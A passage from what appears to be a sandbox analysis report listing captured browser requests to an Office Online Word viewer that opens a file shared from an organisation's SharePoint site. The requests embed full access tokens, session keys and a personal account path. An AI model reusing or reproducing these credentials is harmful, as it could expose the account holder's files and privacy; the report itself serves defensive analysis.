TRmY2Q4ZDJiZTM5MjNjNzMzOWE4MWE2OGM1Mjc3MTI0ZmQ1OTkyMDEwNmNhM2Q0Mzc5IiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJpc3VzZXIiOiJ0cnVlIiwiY2FjaGVrZXkiOiIwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiMwNmFjN2IzM2QzMWZmYTRmY2Q4ZDJiZTM5MjNjNzMzOWE4MWE2OGM1Mjc3MTI0ZmQ1OTkyMDEwNmNhM2Q0Mzc5Iiwic2hhcmluZ2lkIjoiRWlkeUJqbFpIME9xMjJ3blgzNjlOdyIsImlzbG9vcGJhY2siOiJUcnVlIiwiYXBwY3R4IjoiNTYxNDg2NjgzZTIxNGYxYjhmM2U2M2IxOTc1YzQ2OGE7ZVQrQk5HbVFwNXpmMUJITDVPT0JuTEJXd2ZFPTtEZWZhdWx0OzliZTUxMGY1NGI3YTQyZTViMmJiNzE0NTQ3MzVlNTZmOztUcnVlOzs7NTEyO2VmYWUyZmExLTAwYzItOTAwMC0wZjI5LWFkMWI3NzdiMDUzZiIsImZpZCI6IjE4OTc5MiJ9%2EwFQ1acUFFV9ATjWfFIc7%5FVeqhaD86lbQV%5FtOJ5Hgy5oHv9itKP6LlZv8qbVQtHpEal2ASPyOZAMZGY7Vp%2DBj70kb3nqinNmaTE%5FcKboyzkESxdeQFaICHpV5fcKQhNqROcWJwKusEcbiV0a8gJIwAX8MrzFxOcfYH%2DhZpH%2DBDU52Mr6rbkO98sNk0HiRGn9CGJedoeU%2D5TRpOoXD4cbjPOX1JwSMVOaTdZpW68gQjGmZgfoz4SL1eLfifp2dabveKJa21LKI2gqDbfYU5kWzpTeccpFvoPG9cGMmeALNzsS0eq0lX0knV95labWU0Knm80iQqKaK%2D1mfitaMszFsTw&access_token_ttl=1717632988464&z=%2522%257B56148668%252D3E21%252D4F1B%252D8F3E%252D63B1975C468A%257D%252C21%2522&uilang=en-US HTTP/1.1Host: ukc-word-view.officeapps.live.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"haep: 6X-WacFrontEnd: LN2PEPF0000BE33X-UserSessionId: 7d777aeb-6724-5443-6f2d-afb3c7edf346sec-ch-ua-mobile: ?0X-OfficeVersion: 20240603.4X-Key: ICDS0A6vUUhgHc1xcL8F/ljjPjwHjrBqEIwWPZNdSTk=;KVDlzMwE4DkoPSd8T8gT7e+nLgTgvhV6Ia3yrX/LEUU=,638531937916143616User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36X-Requested-With: XMLHttpRequestX-UserType: WOPIX-xhr: 1X-WacCluster: GUK5sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ukc-word-view.officeapps.live.com/wv/wordviewerframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fmidlandlangarsevasociety-my.sharepoint.com%2Fpersonal%2Fsharon_bharaj_mlss_org_uk%2F_vti_bin%2Fwopi.ashx%2Ffiles%2F561486683e214f1b8f3e63b1975c468a&wdenableroaming=1&mscc=0&wdodb=1&hid=EFAE2FA1-00C2-9000-0F29-AD1B777B053F.0&uih=sharepointcom&wdlcid=en-US&jsapi=1&jsapiver=v2&corrid=7d777aeb-6724-5443-6f2d-afb3c7edf346&usid=7d777aeb-6724-5443-6f2d-afb3c7edf346&newsession=1&sftc=1&uihit=do
Source: global traffic	HTTP traffic detected: GET /wv/ResReader.ashx?n=p1.img&v=00000000-0000-0000-0000-000000000802&usid=7d777aeb-6724-5443-6f2d-afb3c7edf346&build=20240603.4&WOPIsrc=https%3A%2F%2Fmidlandlangarsevasociety%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fsharon%5Fbharaj%5Fmlss%5Forg%5Fuk%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffiles%2F561486683e214f1b8f3e63b1975c468a&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9.eyJhdWQiOiJ3b3BpL21pZGxhbmRsYW5nYXJzZXZhc29jaWV0eS1teS5zaGFyZXBvaW50LmNvbUBmYTc1MGUzZC02NTU2LTQ1YzktYjBlZi1jOThlYzlhMzIxYjkiLCJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOTAxNDAxMjItODUxNi0xMWUxLThlZmYtNDkzMDQ5MjQwMTliIiwibmJmIjoiMTcxNzU5Njk4OCIsImV4cCI6IjE3MTc2MzI5ODgiLCJuYW1laWQiOiIwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiMwNmFjN2IzM2QzMWZmYTRmY2Q4ZDJiZTM5MjNjNzMzOWE4MWE2OGM1Mjc3MTI0ZmQ1OTkyMDEwNmNhM2Q0Mzc5IiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJpc3VzZXIiOiJ0cnVlIiwiY2FjaGVrZXkiOiIwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiMwNmFjN2IzM2QzMWZmYTRmY2Q4ZDJiZTM5MjNjNzMzOWE4MWE2OGM1Mjc3MTI0ZmQ1OTkyMDEwNmNhM2Q0Mzc5Iiwic2hhcmluZ2lkIjoiRWlkeUJqbFpIME9xMjJ3blgzNjlOdyIsImlzbG9vcGJhY2siOiJUcnVlIiwiYXBwY3R4IjoiNTYxNDg2NjgzZTIxNGYxYjhmM2U2M2IxOTc1YzQ2OGE7ZVQrQk5HbVFwNXpmMUJITDVPT0JuTEJXd2ZFPTtEZWZhdWx0OzliZTUxMGY1NGI3YTQyZTViMmJiNzE0NTQ3MzVlNTZmOztUcnVlOzs7NTEyO2VmYWUyZmExLTAwYzItOTAwMC0wZjI5LWFkMWI3NzdiMDUzZiIsImZpZCI6IjE4OTc5MiJ9.wFQ1acUFFV9ATjWfFIc7_VeqhaD86lbQV_tOJ5Hgy5oHv9itKP6LlZv8qbVQtHpEal2ASPyOZAMZGY7Vp-Bj70kb3nqinNmaTE_cKboyzkESxdeQFaICHpV5fcKQhNqROcWJwKusEcbiV0a8gJIwAX8MrzFxOcfYH-hZpH-BDU52Mr6rbkO98sNk0HiRGn9CGJedoeU-5TRpOoXD4cbjPOX1JwSMVOaTdZpW68gQjGmZgfoz4SL1eLfifp2dabveKJa21LKI2gqDbfYU5kWzpTeccpFvoPG9cGMmeALNzsS0eq0lX0knV95labWU0Knm80iQqKaK-1mfitaMszFsTw&access_token_ttl=1717632994047&z=%2522%257B56148668%252D3E21%252D4F1B%252D8F3E%252D63B1975C468A%257D%252C21%2522&waccluster=GUK5 HTTP/1.1Host: ukc-word-view.officeapps.live.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ukc-word-view.officeapps.live.com/wv/wordviewerframe.aspx?ui=en-US&rs=en-US&wopisrc=https%3A%2F%2Fmidlandlangarsevasociety-my.sharepoint.com%2Fpersonal%2Fsharon_bharaj_mlss_org_uk%2F_vti_bin%2Fwopi.ashx%2Ffiles%2F561486683e214f1b8f3e63b1975c468a&wdenableroaming=1&mscc=0&wdodb=1&hid=EFAE2FA1-00C2-9000-0F29-AD1B777B053F.0&uih=sharepointcom&wdlcid=en-US&jsapi=1&jsapiver=v2&corrid=7d777aeb-6724-5443-6f2d-afb3c7edf346&usid=7d777aeb-6724-5443-6f2d-afb3c7edf346&newsession=1&sftc=1&uihit=docaspx&muv=1&cac=1&sams=1&mtf=1&sfp=1&sdp=1&hch=1&hwfh=1&readonly=1&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Fmidlandlangarsevasociety-my.sharepoint.com%22%2C%22pmshare%22%
Source: global traffic	HTTP traffic detected: GET /wv/RemoteTelemetry.ashx?usid=7d777aeb-6724-5443-6f2d-afb3c7edf346&build=20240603.4&waccluster=GUK5 HTTP/1.1Host: ukc-word-view.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wv/ResReader.ashx?n=p_1_10.xml&v=00000000-0000-0000-0000-000000000802&usid=7d777aeb-6724-5443-6f2d-afb3c7edf346&build=20240603.4&WOPIsrc=https%3A%2F%2Fmidlandlangarsevasociety%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fsharon%5Fbharaj%5Fmlss%5Forg%5Fuk%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffiles%2F561486683e214f1b8f3e63b1975c468a&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL21pZGxhbmRsYW5nYXJzZXZhc29jaWV0eS1teS5zaGFyZXBvaW50LmNvbUBmYTc1MGUzZC02NTU2LTQ1YzktYjBlZi1jOThlYzlhMzIxYjkiLCJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOTAxNDAxMjItODUxNi0xMWUxLThlZmYtNDkzMDQ5MjQwMTliIiwibmJmIjoiMTcxNzU5Njk4OCIsImV4cCI6IjE3MTc2MzI5ODgiLCJuYW1laWQiOiIwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiMwNmFjN2IzM2QzMWZmYTRmY2Q4ZDJiZTM5MjNjNzMzOWE4MWE2OGM1Mjc3MTI0ZmQ1OTkyMDEwNmNhM2Q0Mzc5IiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJpc3VzZXIiOiJ0cnVlIiwiY2FjaGVrZXkiOiIwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiMwNmFjN2IzM2QzMWZmYTRmY2Q4ZDJiZTM5MjNjNzMzOWE4MWE2OGM1Mjc3MTI0ZmQ1OTkyMDEwNmNhM2Q0Mzc5Iiwic2hhcmluZ2lkIjoiRWlkeUJqbFpIME9xMjJ3blgzNjlOdyIsImlzbG9vcGJhY2siOiJUcnVlIiwiYXBwY3R4IjoiNTYxNDg2NjgzZTIxNGYxYjhmM2U2M2IxOTc1YzQ2OGE7ZVQrQk5HbVFwNXpmMUJITDVPT0JuTEJXd2ZFPTtEZWZhdWx0OzliZTUxMGY1NGI3YTQyZTViMmJiNzE0NTQ3MzVlNTZmOztUcnVlOzs7NTEyO2VmYWUyZmExLTAwYzItOTAwMC0wZjI5LWFkMWI3NzdiMDUzZiIsImZpZCI6IjE4OTc5MiJ9%2EwFQ1acUFFV9ATjWfFIc7%5FVeqhaD86lbQV%5FtOJ5Hgy5oHv9itKP6LlZv8qbVQtHpEal2ASPyOZAMZGY7Vp%2DBj70kb3nqinNmaTE%5FcKboyzkESxdeQFaICHpV5fcKQhNqROcWJwKusEcbiV0a8gJIwAX8MrzFxOcfYH%2DhZpH%2DBDU52Mr6rbkO98sNk0HiRGn9CGJedoeU%2D5TRpOoXD4cbjPOX1JwSMVOaTdZpW68gQjGmZgfoz4SL1eLfifp2dabveKJa21LKI2gqDbfYU5kWzpTeccpFvoPG9cGMmeALNzsS0eq0lX0knV95labWU0Knm80iQqKaK%2D1mfitaMszFsTw&access_token_ttl=1717632988464&z=%2522%257B56148668%252D3E21%252D4F1B%252D8F3E%252D63B1975C468A%257D%252C21%2522&waccluster=GUK5 HTTP/1.1Host: ukc-word-view.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wv/translation.ashx?WOPIsrc=https%3A%2F%2Fmidlandlangarsevasociety%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fsharon%5Fbharaj%5Fmlss%5Forg%5Fuk%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffiles%2F561486683e214f1b8f3e63b1975c468a&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL21pZGxhbmRsYW5nYXJzZXZhc29jaWV0eS1teS5zaGFyZXBvaW50LmNvbUBmYTc1MGUzZC02NTU2LTQ1YzktYjBlZi1jOThlYzlhMzIxYjkiLCJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOTAxNDAxMjItODUxNi0xMWUxLThlZmYtNDkzMDQ5MjQwMTliIiwibmJmIjoiMTcxNzU5Njk4OCIsImV4cCI6IjE3MTc2MzI5ODgiLCJuYW1laWQiOiIwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiMwNmFjN2IzM2QzMWZmYTRmY2Q4ZDJiZTM5MjNjNzMzOWE4MWE2OGM1Mjc3MTI0ZmQ1OTkyMDEwNmNhM2Q0Mzc5IiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJpc3VzZXIiOiJ0cnVlIiwiY2FjaGVrZXkiOiIwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiMwNmFjN2IzM2QzMWZmYTRmY2Q4ZDJiZTM5MjNjNzMzOWE4MWE2OGM1Mjc3MTI0ZmQ1OTkyMDEwNmNhM2Q0Mzc5Iiwic2hhcmluZ2lkIjoiRWlkeUJqbFpIME9xMjJ3blgzNjlOdyIsImlzbG9vcGJhY2siOiJUcnVlIiwiYXBwY3R4IjoiNTYxNDg2NjgzZTIxNGYxYjhmM2U2M2IxOTc1YzQ2OGE7ZVQrQk5HbVFwNXpmMUJITDVPT0JuTEJXd2ZFPTtEZWZhdWx0OzliZTUxMGY1NGI3YTQyZTViMmJiNzE0NTQ3MzVlNTZmOztUcnVlOzs7NTEyO2VmYWUyZmExLTAwYzItOTAwMC0wZjI5LWFkMWI3NzdiMDUzZiIsImZpZCI6IjE4OTc5MiJ9%2EwFQ1acUFFV9ATjWfFIc7%5FVeqhaD86lbQV%5FtOJ5Hgy5oHv9itKP6LlZv8qbVQtHpEal2ASPyOZAMZGY7Vp%2DBj70kb3nqinNmaTE%5FcKboyzkESxdeQFaICHpV5fcKQhNqROcWJwKusEcbiV0a8gJIwAX8MrzFxOcfYH%2DhZpH%2DBDU52Mr6rbkO98sNk0HiRGn9CGJedoeU%2D5TRpOoXD4cbjPOX1JwSMVOaTdZpW68gQjGmZgfoz4SL1eLfifp2dabveKJa21LKI2gqDbfYU5kWzpTeccpFvoPG9cGMmeALNzsS0eq0lX0knV95labWU0Knm80iQqKaK%2D1mfitaMszFsTw&access_token_ttl=1717632988464&z=%2522%257B56148668%252D3E21%252D4F1B%252D8F3E%252D63B1975C468A%257D%252C21%2522&uilang=en-US HTTP/1.1Host: ukc-word-view.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wv/ResReader.ashx?n=p1.img&v=00000000-0000-0000-0000-000000000802&usid=7d777aeb-6724-5443-6f2d-afb3c7edf346&build=20240603.4&WOPIsrc=https%3A%2F%2Fmidlandlangarsevasociety%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fsharon%5Fbharaj%5Fmlss%5Forg%5Fuk%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffiles%2F561486683e214f1b8f3e63b1975c468a&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9.eyJhdWQiOiJ3b3BpL21pZGxhbmRsYW5nYXJzZXZhc29jaWV0eS1teS5zaGFyZXBvaW50LmNvbUBmYTc1MGUzZC02NTU2LTQ1YzktYjBlZi1jOThlYzlhMzIxYjkiLCJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOTAxNDAxMjItODUxNi0xMWUxLThlZmYtNDkzMDQ5MjQwMTliIiwibmJmIjoiMTcxNzU5Njk4OCIsImV4cCI6IjE3MTc2MzI5ODgiLCJuYW1laWQiOiIwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiMwNmFjN2IzM2QzMWZmYTRmY2Q4ZDJiZTM5MjNjNzMzOWE4MWE2OGM1Mjc3MTI0ZmQ1OTkyMDEwNmNhM2Q0Mzc5IiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJpc3VzZXIiOiJ0cnVlIiwiY2FjaGVrZXkiOiIwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiMwNmFjN2IzM2QzMWZmYTRmY2Q4ZDJiZTM5MjNjNzMzOWE4MWE2OGM1Mjc3MTI0ZmQ1OTkyMDEwNmNhM2Q0Mzc5Iiwic2hhcmluZ2lkIjoiRWlkeUJqbFpIME9xMjJ3blgzNjlOdyIsImlzbG9vcGJhY2siOiJUcnVlIiwiYXBwY3R4IjoiNTYxNDg2NjgzZTIxNGYxYjhmM2U2M2IxOTc1YzQ2OGE7ZVQrQk5HbVFwNXpmMUJITDVPT0JuTEJXd2ZFPTtEZWZhdWx0OzliZTUxMGY1NGI3YTQyZTViMmJiNzE0NTQ3MzVlNTZmOztUcnVlOzs7NTEyO2VmYWUyZmExLTAwYzItOTAwMC0wZjI5LWFkMWI3NzdiMDUzZiIsImZpZCI6IjE4OTc5MiJ9.wFQ1acUFFV9ATjWfFIc7_VeqhaD86lbQV_tOJ5Hgy5oHv9itKP6LlZv8qbVQtHpEal2ASPyOZAMZGY7Vp-Bj70kb3nqinNmaTE_cKboyzkESxdeQFaICHpV5fcKQhNqROcWJwKusEcbiV0a8gJIwAX8MrzFxOcfYH-hZpH-BDU52Mr6rbkO98sNk0HiRGn9CGJedoeU-5TRpOoXD4cbjPOX1JwSMVOaTdZpW68gQjGmZgfoz4SL1eLfifp2dabveKJa21LKI2gqDbfYU5kWzpTeccpFvoPG9cGMmeALNzsS0eq0lX0knV95labWU0Knm80iQqKaK-1mfitaMszFsTw&access_token_ttl=1717632994047&z=%2522%257B56148668%252D3E21%252D4F1B%252D8F3E%252D63B1975C468A%257D%252C21%2522&waccluster=GUK5 HTTP/1.1Host: ukc-word-view.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /afhs/CloudPolicySettings.ashx HTTP/1.1Host: ukc-word-view.officeapps.live.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"X-WacFrontEnd: LN2PEPF0000BE33X-OfficeVersion: 20240603.4X-Key: ICDS0A6vUUhgHc1xcL8F/ljjPjwHjrBqEIwWPZNdSTk=;KVDlzMwE4DkoPSd8T8gT7e+nLgTgvhV6Ia3yrX/LEUU=,638531937916143616x-OcpsIsEnabled: trueX-Requested-With: XMLHttpRequestX-xhr: 1x-CacheIsEnabled: falsex-LicensingAADIdIsEnabled: falsesec-ch-ua-platform: "Windows"haep: 6X-AccessToken: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9.eyJhdWQiOiJ3b3BpL21pZGxhbmRsYW5nYXJzZXZhc29jaWV0eS1teS5zaGFyZXBvaW50LmNvbUBmYTc1MGUzZC02NTU2LTQ1YzktYjBlZi1jOThlYzlhMzIxYjkiLCJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOTAxNDAxMjItODUxNi0xMWUxLThlZmYtNDkzMDQ5MjQwMTliIiwibmJmIjoiMTcxNzU5Njk4OCIsImV4cCI6IjE3MTc2MzI5ODgiLCJuYW1laWQiOiIwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiMwNmFjN2IzM2QzMWZmYTRmY2Q4ZDJiZTM5MjNjNzMzOWE4MWE2OGM1Mjc3MTI0ZmQ1OTkyMDEwNmNhM2Q0Mzc5IiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJpc3VzZXIiOiJ0cnVlIiwiY2FjaGVrZXkiOiIwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiMwNmFjN2IzM2QzMWZmYTRmY2Q4ZDJiZTM5MjNjNzMzOWE4MWE2OGM1Mjc3MTI0ZmQ1OTkyMDEwNmNhM2Q0Mzc5Iiwic2hhcmluZ2lkIjoiRWlkeUJqbFpIME9xMjJ3blgzNjlOdyIsImlzbG9vcGJhY2siOiJUcnVlIiwiYXBwY3R4IjoiNTYxNDg2NjgzZTIxNGYxYjhmM2U2M2IxOTc1YzQ2OGE7ZVQrQk5HbVFwNXpmMUJITDVPT0JuTEJXd2ZFPTtEZWZhdWx0OzliZTUxMGY1NGI3YTQyZTViMmJiNzE0NTQ3MzVlNTZmOztUcnVlOzs7NTEyO2VmYWUyZmExLTAwYzItOTAwMC0wZjI5LWFkMWI3NzdiMDUzZiIsImZpZCI6IjE4OTc5MiJ9.wFQ1acUFFV9ATjWfFIc7_VeqhaD86lbQV_tOJ5Hgy5oHv9itKP6LlZv8qbVQtHpEal2ASPyOZAMZGY7Vp-Bj70kb3nqinNmaTE_cKboyzkESxdeQFaICHpV5fcKQhNqROcWJwKusEcbiV0a8gJIwAX8MrzFxOcfYH-hZpH-BDU52Mr6rbkO98sNk0HiRGn9CGJedoeU-5TRpOoXD4cbjPOX1JwSMVOaTdZpW68gQjGmZgfoz4SL1eLfifp2dabveKJa21LKI2gqDbfYU5kWzpTeccpFvoPG9cGMmeALNzsS0eq0lX0knV95labWU0Knm80iQqKaK-1mfitaMszFsTwX-UserSessionId: 7d777aeb-6724-5443-6f2d-afb3c7edf346X-AccessTokenTtl: 1717632988464sec-ch-ua-mobile: ?0x-UserDataSignature: eyJhbGciOiJSUzI1NiIsImtpZCI6IjdFNEUzOEQ5QjM4RkExRDgxQTMzOEJBNTQxNzNFM0Y5OTE2OEREQzQiLCJ4NXQiOiJmazQ0MmJPUG9kZ2FNNHVsUVhQai1aRm8zY1EiLCJ0eXAiOiJKV1QifQ.eyJVUE4iOiJ1cm46c3BvOmFub24jMDZhYzdiMzNkMzFmZmE0ZmNkOGQyYmUzOTIzYzczMzlhODFhNjhjNTI3NzEyNGZkNTk5MjAxMDZjYTNkNDM3OSIsIlBVSUQiOiIiLCJUZW5hbnRJZCI6ImZhNzUwZTNkLTY1NTYtNDVjOS1iMGVmLWM5OGVjOWEzMjFiOSIsIkZpbGVUZW5hbnRJZCI6IiIsIklzQ29uc3VtZXJVc2VyIjoiRmFsc2UiLCJJc0Fub255bW91c1VzZXIiOiJUcnVlIiwiSG9zdEVuYWJsZWRGZWF0dXJlcyI6IltdIiwiSXNPMzY1Q29uc3VtZXJIb3N0IjoiRmFsc2UiLCJJc08zNjVDb21tZXJjaWFsSG9zdCI6IlRydWUiLCJVc2VyT2JqZWN0SWQiOiIiLCJMb2NhbFN0b3JhZ2VLZXkiOiIzNVFkVkFwRnBhMWJBdkZxbXV2TElVbHkzMmNIVjVZdGd2d0VqdUNkczZRPSIsImF1ZCI6IldBQ0FGSFMiLCJuYmYiOjE3MTc1OTY5OTEsImV4cCI6MTcxNzU5ODMxMSwiaWF0IjoxNzE3NTk2OTkxLCJpc3MiOiJXQUMifQ.EGSwQdRcuYDZde0qWvCcuRVBk9vu2U0Xhc9E21arzasbWfhe_xyN1URG-flR8jk4DdWlXF2MtW6qMbN9A9a7BesuQWZsPR2voCtXM6yQbTzGMqLJmOxu38cD7-IvUcaftsWv8IjtLf7EMDLDkNBqeWEZggwaxFPY1FfCaWPDJcf
Source: global traffic	HTTP traffic detected: GET /wv/PolicyHandler.ashx?action=datalosspolicy&WOPIsrc=https%3A%2F%2Fmidlandlangarsevasociety%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fsharon%5Fbharaj%5Fmlss%5Forg%5Fuk%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffiles%2F561486683e214f1b8f3e63b1975c468a&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL21pZGxhbmRsYW5nYXJzZXZhc29jaWV0eS1teS5zaGFyZXBvaW50LmNvbUBmYTc1MGUzZC02NTU2LTQ1YzktYjBlZi1jOThlYzlhMzIxYjkiLCJpc3MiOiIwMDAwMDAwMy0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDBAOTAxNDAxMjItODUxNi0xMWUxLThlZmYtNDkzMDQ5MjQwMTliIiwibmJmIjoiMTcxNzU5Njk4OCIsImV4cCI6IjE3MTc2MzI5ODgiLCJuYW1laWQiOiIwIy5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiMwNmFjN2IzM2QzMWZmYTRmY2Q4ZDJiZTM5MjNjNzMzOWE4MWE2OGM1Mjc3MTI0ZmQ1OTkyMDEwNmNhM2Q0Mzc5IiwibmlpIjoibWljcm9zb2Z0LnNoYXJlcG9pbnQiLCJpc3VzZXIiOiJ0cnVlIiwiY2FjaGVrZXkiOiIwaC5mfG1lbWJlcnNoaXB8dXJuJTNhc3BvJTNhYW5vbiMwNmFjN2IzM2QzMWZmYTRmY2Q4ZDJiZTM5MjNjNzMzOWE4MWE2OGM1Mjc3MTI0ZmQ1OTkyMDEwNmNhM2Q0Mzc5Iiwic2hhcmluZ2lkIjoiRWlkeUJqbFpIME9xMjJ3blgzNjlOdyIsImlzbG9vcGJhY2siOiJUcnVlIiwiYXBwY3R4IjoiNTYxNDg2NjgzZTIxNGYxYjhmM2U2M2IxOTc1YzQ2OGE7ZVQrQk5HbVFwNXpmMUJITDVPT0JuTEJXd2ZFPTtEZWZhdWx0OzliZTUxMGY1NGI3YTQyZTViMmJiNzE0NTQ3MzVlNTZmOztUcnVlOzs7NTEyO2VmYWUyZmExLTAwYzItOTAwMC0wZjI5LWFkMWI3NzdiMDUzZiIsImZpZCI6IjE4OTc5MiJ9%2EwFQ1acUFFV9ATjWfFIc7%5FVeqhaD86lbQV%5FtOJ5Hgy5oHv9itKP6LlZv8qbVQtHpEal2ASPyOZAMZGY7Vp%2DBj70kb3nqinNmaTE%5FcKboyzkESxdeQFaICHpV5fcKQhNqROcWJwKusEcbiV0a8gJIwAX8MrzFxOcfYH%2DhZpH%2DBDU52Mr6rbkO98sNk0HiRGn9CGJedoeU%2D5TRpOoXD4cbjPOX1JwSMVOaTdZpW68gQjGmZgfoz4SL1eLfifp2dabveKJa21LKI2gqDbfYU5kWzpTeccpFvoPG9cGMmeALNzsS0eq0lX0knV95labWU0Knm80iQqKaK%2D1mfitaMszFsTw&access_token_ttl=1717632988464 HTTP/1.1Host: ukc-word-view.officeapps.live.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"hascn: 1X-WacFrontEnd: LN2PEPF0000BE33X-UsePFTPOP: 0X-OfficeVersion: 20240603.4X-Key: ICDS0A6vUUhgHc1xcL8F/ljjPjwHjrBqEIwWPZNdSTk=;KVDlzMwE4DkoPSd8T8gT7e+nLgTgvhV6Ia3yrX/LEUU=,638531937916143616X-Requested-With: XMLHttpRequestX-xhr: 1sec-ch-ua-platform: "Windows"haep: 6X-UserSessionId: 7d777aeb-6724-5443-6f2d-afb3c7edf346sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36hascnt: 1X-UserType: WOPIX-WacCluster: GUK5Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: 